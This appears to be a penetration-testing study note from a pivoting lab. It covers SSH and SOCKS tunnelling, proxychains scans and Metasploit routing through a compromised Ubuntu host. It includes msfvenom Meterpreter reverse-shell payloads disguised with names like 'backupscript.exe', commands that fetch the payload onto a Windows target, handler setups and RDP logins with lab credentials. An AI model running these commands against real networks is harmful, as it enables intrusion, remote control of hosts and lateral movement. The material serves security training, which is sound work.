# Choosing The Dig Site & Starting Our Tunnels
## Dynamic Port Forwarding with SSH and SOCKS Tunneling
### SSH Local Port Forwarding
```bash
ssh -L 1234:localhost:3306 -l
```
### Setting up to Pivot
In the above image, the attack host starts the SSH client and requests the SSH server to allow it to send some TCP data over the ssh socket. The SSH server responds with an acknowledgment, and the SSH client then starts listening on `localhost:9050`. Whatever data you send here will be broadcasted to the entire network (172.16.5.0/23) over SSH. We can use the below command to perform this dynamic port forwarding.
```bash
ssh -D 9050 -l
```
The `-D` argument requests the SSH server to enable dynamic port forwarding. Once we have this enabled, we will require a tool that can route any tool's packets over the port `9050`
We can do this using the tool `proxychains`
Proxychains is often used to force an application's `TCP traffic` to go through hosted proxies like `SOCKS4`/`SOCKS5`, `TOR`, or `HTTP`/`HTTPS` proxies.
To inform proxychains that we must use port 9050, we must modify the proxychains configuration file located at `/etc/proxychains.conf`. We can add `socks4 127.0.0.1 9050` to the last line if it is not already there.
```shell-session
tail -4 /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 9050
```
Now when you start Nmap with proxychains using the below command, it will route all the packets of Nmap to the local port 9050, where our SSH client is listening, which will forward all the packets over SSH to the 172.16.5.0/23 network.
```bash
proxychains nmap -v -sn 172.16.5.1-200
```
{% hint style="warning" %}
we can only perform a `full TCP connect scan` over proxychains. The reason for this is that proxychains cannot understand partial packets. We also need to make sure we are aware of the fact that `host-alive` checks may not work against Windows targets because the Windows Defender firewall blocks ICMP requests (traditional pings) by default.
{% endhint %}
```bash
proxychains nmap -v -Pn -sT
```
#### Using Metasploit with Proxychains
```shell-session
proxychains msfconsole
search rdp_scanner
use 0
set rhosts
run
```
#### **Using xfreerdp with Proxychains**
```bash
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
```
## Remote/Reverse Port Forwarding with SSH
We first use the Ubuntu server as host to transfer the malicious files to the Windows machine
```bash
msfvenom -p windows/x64/meterpreter/reverse_https lhost= -f exe -o backupscript.exe LPORT=8080
```
```bash
scp backupscript.exe ubuntu@:~/
```
on Ubuntu server:
```bash
python3 -m http.server 8123
```
We download the file from the Windows machine:
```powershell-session
Invoke-WebRequest -Uri "http://:8123/backupscript.exe" -OutFile "C:\backupscript.exe"
```
Then we create a reverse port forward from the port `8080` of the Ubuntu server to our machine's port `8000`
```shell-session
ssh -R :8080:0.0.0.0:8000 ubuntu@ -vN
```
After creating the SSH remote port forward, we can execute the payload from the Windows target. If the payload is executed as intended and attempts to connect back to our listener, we can see the logs from the pivot on the pivot host.
On Attacker machine, start `msfconsole` and:
```shell-session
use exploit/multi/handler
set LPORT 8000
set LHOST 0.0.0.0
set payload windows/x64/meterpreter/reverse_https
```
Our Meterpreter session should list that our incoming connection is from a local host itself (`127.0.0.1`) since we are receiving the connection over the `local SSH socket`, which created an `outbound` connection to the Ubuntu server. Issuing the `netstat` command can show us that the incoming connection is from the SSH service.
## Meterpreter Tunneling & Port Forwarding
We can create a Meterpreter shell for the Ubuntu server with the below command, which will return a shell on our attack host on port `8080`.
```shell-session
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= -f elf -o backupjob LPORT=8080
```
Before copying the payload over, we can start a [multi/handler](https://www.rapid7.com/db/modules/exploit/multi/handler/), also known as a Generic Payload Handler (as above, different payload).
```shell-session
use exploit/multi/handler
set lhost 0.0.0.0
set lport 8080
set payload linux/x64/meterpreter/reverse_tcp
run
```
We can copy the `backupjob` binary file to the Ubuntu pivot host `over SSH` and execute it to gain a Meterpreter session.
We need to make sure the Meterpreter session is successfully established upon executing the payload.
```shell-session
[*] Sending stage (3020772 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826 ) at 2022-03-03 12:27:43 -0500
meterpreter > pwd
```
So assuming that the firewall on the Windows target is allowing ICMP requests, we would want to perform a ping sweep on this network. We can do that using Meterpreter with the `ping_sweep` module, which will generate the ICMP traffic from the Ubuntu host to the network `172.16.5.0/23`.
```shell-session
run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
```
Here are two helpful ping sweep for loop one-liners we could use for Linux-based and Windows-based pivot hosts.
```bash
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
```
```batch
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
```
```powershell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
```
{% hint style="info" %}
It is possible that a ping sweep may not result in successful replies on the first attempt, especially when communicating across networks. This can be caused by the time it takes for a host to build it's arp cache. In these cases, it is good to attempt our ping sweep at least twice to ensure the arp cache gets built.
{% endhint %}
There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get us successful replies.
In these cases, we can perform a TCP scan on the 172.16.5.0/23 network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's post-exploitation routing module `socks_proxy` to configure a local proxy on our attack host.
We will configure the SOCKS proxy for `SOCKS version 4a`. This SOCKS configuration will start a listener on port `9050` and route all the traffic received via our Meterpreter session.
```shell-session
msf6 > use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
run
```
**Confirming Proxy Server is Running**
```shell-session
msf6 auxiliary(server/socks_proxy) > jobs
```
After initiating the SOCKS server, we will configure proxychains to route traffic generated by other tools like Nmap through our pivot on the compromised Ubuntu host.
add the below line at the end of our `proxychains.conf` file located at `/etc/proxychains.conf` if it isn't already there. (if there isn't a fiel already, remember to include the `[ProxyList]` section before this line)
```shell-session
socks4 127.0.0.1 9050
```
Finally, we need to tell our socks\_proxy module to route all the traffic via our Meterpreter session. We can use the `post/multi/manage/autoroute` module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.
```shell-session
msf6 > use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run
```
OR from meterpreter directly:
```shell-session
meterpreter > run autoroute -s 172.16.5.0/23
```
After adding the necessary route(s) we can use the `-p` option to list the active routes to make sure our configuration is applied as expected.
```shell-session
meterpreter > run autoroute -p
```
**Testing Proxy & Routing Functionality**
```bash
proxychains nmap -p3389 -sT -v -Pn
```
### Port Forwarding
Port forwarding can also be accomplished using Meterpreter's `portfwd` module.
We can enable a listener on our attack host and request Meterpreter to forward all the packets received on this port via our Meterpreter session to a remote host on the 172.16.5.0/23 network.
```shell-session
meterpreter > help portfwd
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-h Help banner.
-i Index of the port forward entry to interact with (see the "list" command).
-l Forward: local port to listen on. Reverse: local port to connect to.
-L Forward: local host to listen on (optional). Reverse: local host to connect to.
-p Forward: remote port to connect to. Reverse: remote port to listen on.
-r Forward: remote host to connect to.
-R Indicates a reverse port forward.
```
```shell-session
portfwd add -l 3300 -p 3389 -r 172.16.5.19
```
The above command requests the Meterpreter session to start a listener on our attack host's local port (`-l`) `3300` and forward all the packets to the remote (`-r`) Windows server `172.16.5.19` on `3389` port (`-p`) via our Meterpreter session.
Now, if we execute xfreerdp on our localhost:3300, we will be able to create a remote desktop session.
```shell-session
xfreerdp /v:localhost:3300 /u:victor /p:pass@123
```
**Netstat Output**
```shell-session
netstat -antp
tcp 0 0 127.0.0.1:54652 127.0.0.1:3300 ESTABLISHED 4075/xfreerdp
```
### Meterpreter Reverse Port Forwarding
Similar to local port forwards, Metasploit can also perform `reverse port forwarding` with the below command, where you might want to listen on a specific port on the compromised server and forward all incoming shells from the Ubuntu server to our attack host.
We will start a listener on a new port on our attack host for Windows and request the Ubuntu server to forward all requests received to the Ubuntu server on port `1234` to our listener on port `8081`.
```shell-session
meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
```
**Configuring & Starting multi/handler**
```shell-session
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8081
```
**Generating the Windows Payload**
As above, be mindful that the UbuntuIP used here is the network interface for the windows network segment.
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= -f exe -o backupscript.exe LPORT=1234
```
Finally, if we execute our payload on the Windows host, we should be able to receive a shell from Windows pivoted via the Ubuntu server.
